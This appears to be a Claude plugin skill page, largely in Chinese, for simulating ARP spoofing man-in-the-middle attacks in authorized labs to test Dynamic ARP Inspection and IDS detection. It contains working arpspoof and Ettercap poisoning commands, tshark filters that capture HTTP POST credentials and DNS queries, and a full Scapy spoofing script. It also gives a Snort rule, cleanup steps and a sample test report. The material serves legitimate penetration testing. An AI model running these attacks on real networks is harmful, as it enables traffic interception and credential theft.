Simulates ARP spoofing attacks using arpspoof, Ettercap, and Scapy in authorized lab or pentest environments to demo MITM risks, test detection, and validate countermeasures.
How this skill is triggered — by the user, by Claude, or both
Slash command
/cybersecurity-skills-zh:performing-arp-spoofing-attack-simulationThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
- 测试网络交换机和基础设施是否正确实施了动态 ARP 检测(Dynamic ARP Inspection,DAI)
不适用于 在没有明确书面授权和回滚方案的情况下对生产网络使用,针对承载关键或生命安全流量的网络使用,或作为拒绝服务攻击向量使用。
# 发现本地子网上的主机
nmap -sn -PR 192.168.1.0/24 -oG arp_discovery.txt
# 识别默认网关
ip route show default
# 输出:default via 192.168.1.1 dev eth0
# 识别目标主机及其 MAC 地址
arp-scan -l -I eth0
# 验证当前 ARP 表
arp -a
# 记录网关 IP(192.168.1.1)和目标主机 IP(192.168.1.50)
# 记录其合法 MAC 地址用于验证和清理
# 启用 IPv4 转发以在受害者和网关之间中继数据包
sudo sysctl -w net.ipv4.ip_forward=1
# 验证转发已启用
cat /proc/sys/net/ipv4/ip_forward
# 应输出:1
# 可选:防止可能警告受害者的 ICMP 重定向
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
sudo sysctl -w net.ipv4.conf.eth0.send_redirects=0
# 向目标欺骗网关(告诉目标我们是网关)
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1
# 在单独的终端中,向网关欺骗目标(双向)
sudo arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.50
# 替代方案:使用 Ettercap 进行统一的双向欺骗
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//
# 捕获流经攻击者机器的所有流量
sudo tcpdump -i eth0 -w mitm_capture.pcap host 192.168.1.50
# 使用 tshark 实时捕获 HTTP 凭据
sudo tshark -i eth0 -Y "http.request.method == POST" \
-T fields -e ip.src -e http.host -e http.request.uri -e urlencoded-form.value
# 捕获来自受害者的 DNS 查询
sudo tshark -i eth0 -Y "dns.qry.name and ip.src == 192.168.1.50" \
-T fields -e frame.time -e dns.qry.name
# 使用 Ettercap 配合密码收集过滤器
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1// \
-w ettercap_capture.pcap
#!/usr/bin/env python3
"""使用 Scapy 进行 ARP 欺骗演示——仅用于授权安全测试。"""
from scapy.all import Ether, ARP, sendp, srp, conf
import time
import sys
conf.verb = 0
def get_mac(ip, iface="eth0"):
"""通过 ARP 请求将 IP 解析为 MAC 地址。"""
ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),
timeout=2, iface=iface)
if ans:
return ans[0][1].hwsrc
return None
def spoof(target_ip, spoof_ip, target_mac, iface="eth0"):
"""向目标发送欺骗的 ARP 响应。"""
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
sendp(Ether(dst=target_mac) / packet, iface=iface, verbose=False)
def restore(target_ip, gateway_ip, target_mac, gateway_mac, iface="eth0"):
"""恢复合法的 ARP 条目。"""
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
psrc=gateway_ip, hwsrc=gateway_mac)
sendp(Ether(dst=target_mac) / packet, iface=iface, count=5, verbose=False)
if __name__ == "__main__":
target_ip = "192.168.1.50"
gateway_ip = "192.168.1.1"
iface = "eth0"
target_mac = get_mac(target_ip, iface)
gateway_mac = get_mac(gateway_ip, iface)
if not target_mac or not gateway_mac:
print("[!] 无法解析 MAC 地址。正在退出。")
sys.exit(1)
print(f"[*] 目标:{target_ip} ({target_mac})")
print(f"[*] 网关:{gateway_ip} ({gateway_mac})")
print("[*] 开始 ARP 欺骗... 按 Ctrl+C 停止。")
try:
packets_sent = 0
while True:
spoof(target_ip, gateway_ip, target_mac, iface)
spoof(gateway_ip, target_ip, gateway_mac, iface)
packets_sent += 2
print(f"\r[*] 已发送数据包:{packets_sent}", end="")
time.sleep(1)
except KeyboardInterrupt:
print("\n[*] 正在恢复 ARP 表...")
restore(target_ip, gateway_ip, target_mac, gateway_mac, iface)
restore(gateway_ip, target_ip, gateway_mac, target_mac, iface)
print("[*] ARP 表已恢复。正在退出。")
# 在目标机器上检查 ARP 缓存投毒指标
arp -a | grep 192.168.1.1
# 如果被欺骗,网关 MAC 将与攻击者 MAC 匹配
# 检查 IDS/SIEM 中的 ARP 欺骗告警
# 应触发的 Snort 规则:
# alert arp any any -> any any (msg:"ARP Spoof Detected"; arp.opcode:2;
# threshold:type both, track by_src, count 30, seconds 10; sid:1000010;)
# 停止攻击并恢复 ARP 表
# 对 arpspoof/ettercap 会话按 Ctrl+C
# 禁用 IP 转发
sudo sysctl -w net.ipv4.ip_forward=0
# 如需手动恢复受影响主机的 ARP 条目:
# 在目标主机:arp -d 192.168.1.1 && ping -c 1 192.168.1.1
# 在网关:arp -d 192.168.1.50 && ping -c 1 192.168.1.50
# 验证合法 MAC 地址已恢复
arp -a
| 术语 | 定义 |
|---|---|
| ARP 缓存投毒(ARP Cache Poisoning) | 发送伪造 ARP 响应的技术,将攻击者的 MAC 地址与目标 ARP 缓存中其他主机的 IP 地址关联 |
| 无故 ARP(Gratuitous ARP) | 无需对应请求即发送的 ARP 响应,ARP 欺骗工具用此技术以错误条目更新目标的 ARP 缓存 |
| 动态 ARP 检测(Dynamic ARP Inspection,DAI) | 交换机级安全功能,根据 DHCP snooping 绑定数据库验证 ARP 数据包并丢弃无效 ARP 流量 |
| IP 转发(IP Forwarding) | 内核级设置,允许主机在网络接口间中继数据包,透明中间人截获所需的功能 |
| DHCP Snooping | 交换机安全功能,构建 IP 到 MAC 到端口映射的可信绑定表,作为 DAI 验证的基础 |
场景背景:网络团队在所有接入层交换机上部署了 Cisco DAI,需要验证 ARP 欺骗尝试是否被正确检测和阻止。测试在专用 VLAN(VLAN 100)上进行,连接到同一交换机的三台测试主机和一台攻击者机器均已获得授权。
方法:
show ip arp inspection statistics vlan 100常见陷阱:
## ARP 欺骗模拟报告
**测试 ID**:NET-ARP-001
**日期**:2024-03-15 14:00-15:00 UTC
**目标 VLAN**:VLAN 100(192.168.1.0/24)
**攻击者**:192.168.1.99(AA:BB:CC:DD:EE:FF)
**目标**:192.168.1.50(00:11:22:33:44:55)
**网关**:192.168.1.1(00:AA:BB:CC:DD:01)
### 测试结果
| 测试 | DAI 状态 | ARP 欺骗结果 | 流量被截获 |
|------|------------|-------------------|---------------------|
| 测试 1 | 已启用 | 已阻止(交换机丢弃 847 个数据包) | 否 |
| 测试 2 | 已禁用 | 成功(目标 ARP 缓存被投毒) | 是 - 23 个 HTTP 会话 |
| 测试 3 | 已重新启用 | 已阻止 | 否 |
### 检测覆盖
- DAI:通过 - 启用时丢弃所有欺骗的 ARP 响应
- IDS(Snort):通过 - 15 秒内生成告警 SID:1000010
- SIEM:通过 - 2 分钟内告警已关联并升级
### 建议
1. 在所有接入 VLAN 上保持启用 DAI(当前在 VLAN 200、210 上已禁用)
2. 启用 DHCP snooping 速率限制以防止 DHCP 耗尽攻击
3. 部署 802.1X 端口认证以补充 ARP 检测
npx claudepluginhub killvxk/cybersecurity-skills-zhSimulates ARP spoofing attacks in authorized lab or pentest environments using arpspoof, Ettercap, and Scapy to demonstrate man-in-the-middle risks and test network detection capabilities.
Simulates ARP spoofing attacks in authorized lab or pentest environments using arpspoof, Ettercap, and Scapy to demonstrate man-in-the-middle risks and validate detection countermeasures.
Simulates ARP spoofing attacks using arpspoof, Ettercap, and Scapy in authorized lab or pentest environments to test network detection and validate ARP inspection countermeasures.